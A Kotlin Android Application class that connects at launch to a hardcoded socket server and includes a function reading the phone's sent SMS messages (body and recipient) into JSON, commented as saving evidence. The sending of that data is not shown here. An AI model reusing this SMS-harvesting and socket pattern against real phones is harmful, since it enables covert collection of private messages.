package com.issuser.appdeducations_2

import android.app.Application
import android.content.ContentResolver
import android.net.Uri
import android.os.Handler
import android.os.Message
import android.util.Log
import android.widget.Toast
import com.issuser.appdeducations_2.mina.FirstClientHandler
import org.apache.mina.core.future.ConnectFuture
import org.apache.mina.core.session.IoSession
import org.apache.mina.filter.codec.ProtocolCodecFilter
import org.apache.mina.filter.codec.textline.TextLineCodecFactory
import org.apache.mina.filter.logging.LoggingFilter
import org.apache.mina.transport.socket.SocketConnector
import org.apache.mina.transport.socket.nio.NioSocketConnector
import org.json.JSONArray
import org.json.JSONObject
import java.net.InetSocketAddress

/**
 * Created by issuser on 2018/8/23.
 */

class App : Application() {
//    private val server_address = "192.168.147.208"//服务IP地址
//    private val server_address = "192.168.191.1"//服务IP地址
    private val server_address = "172.18.51.1"//服务IP地址
    private val projection = arrayOf("body", "date", "address")
    private lateinit var connector: SocketConnector
    private lateinit var future: ConnectFuture
    private var sessionIO: IoSession? = null
    private val server_port = 9123 //连接端口
    var jsonArObject = JSONObject()
    internal var handler: Handler = object : Handler() {
        override fun handleMessage(msg: Message) {
            super.handleMessage(msg)
            Toast.makeText(applicationContext, msg.obj.toString(), Toast.LENGTH_SHORT).show()
        }
    }
    lateinit var cr: ContentResolver

    override fun onCreate() {
        super.onCreate()
        cr = contentResolver
        connect()
    }

    fun connect() {
        Toast.makeText(applicationContext, "Socket连接中", Toast.LENGTH_SHORT).show()
        try {
            Thread {
                connector = NioSocketConnector() as SocketConnector
                val defaultIoFilterChainBuilder = connector.filterChain
                defaultIoFilterChainBuilder.addLast("logger", LoggingFilter())
                defaultIoFilterChainBuilder.addLast("codec", ProtocolCodecFilter(TextLineCodecFactory()))
                // defaultIoFilterChainBuilder.addLast("codec", ProtocolCodecFilter(TextLineCodecFactory(Charset.forName("UTF-8"))))
                connector.handler = FirstClientHandler(APP@ this)
                future = connector!!.connect(InetSocketAddress(server_address, server_port))
                future.awaitUninterruptibly()
                try {
                    sessionIO = future.session
                    sessionIO!!.config.isUseReadOperation = true
                } catch (ex: Exception) {
                    Log.w("yy", ex.message)
                    var msg = handler.obtainMessage()
                    msg.obj = ex.message
                    handler.sendMessage(msg)
                }
            }.start()
        } catch (ex: Exception) {
            Log.w("yy", ex.message)
            var msg = handler.obtainMessage()
            msg.obj = ex.message
            handler.sendMessage(msg)
        }
    }

    fun sendMssageToServer(message: String) {
        try {
            if (future.isConnected) {
                sessionIO!!.write(message)
            } else {
                Toast.makeText(applicationContext, "Socket未连接", Toast.LENGTH_SHORT).show()
                connect()
            }
        } catch (ex: Exception) {
            Log.w("yy", ex.message)
        }
    }


    fun close(): Boolean {
        val closeFuture = sessionIO!!.closeFuture
        closeFuture.awaitUninterruptibly(1000)
        connector!!.dispose()
        return true
    }

    override fun onTerminate() {
        super.onTerminate()
    }

    fun slelectSMS(startTime: Long, endTime: Long): String {
        var jsonObject = JSONObject()
        var jsonAr = JSONArray()
        var where = "date >=  $startTime and date <=  $endTime and type=2"
        var cur = cr.query(Uri.parse("content://sms"), projection, where, null, null)
        while (cur.moveToNext()) {
            //保存证据
            jsonArObject = JSONObject()
            jsonArObject.put("sendSmsContent", cur.getString(cur.getColumnIndex("body")))
            jsonArObject.put("smsAddress", cur.getString(cur.getColumnIndex("address")))
            jsonAr.put(jsonArObject)
        }
        cur.close()
        jsonObject.put("data", jsonAr)
        return jsonObject.toString()
    }

}
